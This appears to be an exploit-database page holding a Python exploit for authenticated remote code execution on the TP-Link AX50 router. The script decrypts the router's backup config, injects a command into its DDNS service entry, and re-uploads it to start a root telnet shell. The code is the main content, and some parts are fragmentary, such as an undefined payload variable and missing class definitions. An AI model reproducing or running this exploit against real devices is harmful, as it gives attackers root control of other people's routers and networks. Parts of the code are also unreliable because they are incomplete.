Exploits / Vulnerability Discovered : 2022-06-14 |
Type : remote |
Platform : hardware
This exploit / vulnerability Tplink router ax50 firmware 210730 remote code execution (rce) (authenticated) is for educational purposes only and if it is used you will do on your own risk!
res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important
if(res.status_code != 200):
print('[!] url "%s" returned unexpected status code'%(url))
return
encrypted_data = json.loads(res.content)
encrypted_data = base64.b64decode(encrypted_data['data'])
data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data)
return json.loads(data)
def login(self):
post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)}
data = self.encrypted_request('/login?form=login', post_data)
if data['success'] != True:
print('[!] login failed')
return
print('[+] logged in, received token (stok): %s'%(data['data']['stok']))
return data['data']['stok']
def encrypt_config(self):
if not os.path.isdir(self.decrypted_path):
print('[!] invalid directory "%s"'%(self.decrypted_path))
return
# encrypt, compress each .xml using zlib and add them to tar archive
with tarfile.open('%s/data.tar'%(self.decrypted_path), 'w') as tar:
for filename in os.listdir(self.decrypted_path):
basename,ext = os.path.splitext(filename)
if ext == '.xml':
xml_path = '%s/%s'%(self.decrypted_path,filename)
bin_path = '%s/%s.bin'%(self.decrypted_path,basename)
with open(xml_path, 'rb') as f:
plaintext = f.read()
if len(plaintext) == 0:
f = open(bin_path, 'w')
f.close()
else:
compressed = zlib.compress(plaintext)
encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
with open(bin_path, 'wb') as f:
f.write(encrypted)
tar.add(bin_path, os.path.basename(bin_path))
os.unlink(bin_path)
# compress tar archive using zlib and encrypt
with open('%s/md5_sum'%(self.decrypted_path), 'rb') as f1, open('%s/data.tar'%(self.decrypted_path), 'rb') as f2:
compressed = zlib.compress(f1.read()+f2.read())
encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
# write into final config file
with open('%s'%(self.encrypted_path), 'wb') as f:
f.write(encrypted)
os.unlink('%s/data.tar'%(self.decrypted_path))
def decrypt_config(self):
if not os.path.isfile(self.encrypted_path):
print('[!] invalid file "%s"'%(self.encrypted_path))
return
# decrypt and decompress config file
with open(self.encrypted_path, 'rb') as f:
decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, f.read())
decompressed = zlib.decompress(decrypted)
os.mkdir(self.decrypted_path)
# store decrypted data into files
with open('%s/md5_sum'%(self.decrypted_path), 'wb') as f:
f.write(decompressed[0:16])
with open('%s/data.tar'%(self.decrypted_path), 'wb') as f:
f.write(decompressed[16:])
# untar second part of decrypted data
with tarfile.open('%s/data.tar'%(self.decrypted_path), 'r') as tar:
tar.extractall(path=self.decrypted_path)
# decrypt and decompress each .bin file from tar archive
for filename in os.listdir(self.decrypted_path):
basename,ext = os.path.splitext(filename)
if ext == '.bin':
bin_path = '%s/%s'%(self.decrypted_path,filename)
xml_path = '%s/%s.xml'%(self.decrypted_path,basename)
with open(bin_path, 'rb') as f:
ciphertext = f.read()
os.unlink(bin_path)
if len(ciphertext) == 0:
f = open(xml_path, 'w')
f.close()
continue
decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, ciphertext)
decompressed = zlib.decompress(decrypted)
with open(xml_path, 'wb') as f:
f.write(decompressed)
os.unlink('%s/data.tar'%(self.decrypted_path))
def modify_config(self, command):
xml_path = '%s/ori-backup-user-config.xml'%(self.decrypted_path)
if not os.path.isfile(xml_path):
print('[!] invalid file "%s"'%(xml_path))
return
with open(xml_path, 'r') as f:
xml_content = f.read()
if '<service name="exploit">' in xml_content:
xml_content = re.sub(r'<service name="exploit">[\s\S]+?</service>\n</ddns>', '%s</ddns>'%(payload), xml_content, 1)
else:
xml_content = xml_content.replace('</service>\n</ddns>', '</service>\n%s</ddns>'%(payload), 1)
with open(xml_path, 'w') as f:
f.write(xml_content)
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True)
arg_parser.add_argument('-p', metavar='password', required=True)
arg_parser.add_argument('-b', action='store_true', help='only backup and decrypt config')
arg_parser.add_argument('-r', metavar='backup_directory', help='only encrypt and restore directory with decrypted config')
arg_parser.add_argument('-c', metavar='cmd', default='/usr/sbin/telnetd -l /bin/login.sh', help='command to execute')
args = arg_parser.parse_args()
client = WebClient(args.t, args.p)
parser = None
if not args.r:
print('[*] downloading config file ...')
filepath = client.download_request('/admin/firmware?form=config_multipart', {'operation':'backup'})
if not filepath:
sys.exit(-1)
if not args.b and not args.r:
filepath = '%s_modified'%(parser.decrypted_path)
os.rename(parser.decrypted_path, filepath)
parser.decrypted_path = os.path.abspath(filepath)
parser.encrypted_path = '%s.bin'%(filepath)
parser.modify_config(args.c)
print('[+] modified directory with decrypted config "%s" ...'%(parser.decrypted_path))
if not args.b:
if parser is None:
parser = BackupParser('%s.bin'%(args.r.rstrip('/')))
print('[*] encrypting directory with modified config "%s" ...'%(parser.decrypted_path))
parser.encrypt_config()
data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'read'})
timeout = data['data']['totaltime'] if data['success'] else 180
print('[*] uploading modified config file "%s"'%(parser.encrypted_path))
data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'restore'}, {'archive':open(parser.encrypted_path,'rb')})
if not data['success']:
print('[!] unexpected response')
print(data)
sys.exit(-1)
print('[+] config file successfully uploaded')
print('[*] router will reboot in few seconds... when it becomes online again (few minutes), try "telnet %s" and enjoy root shell !!!'%(args.t))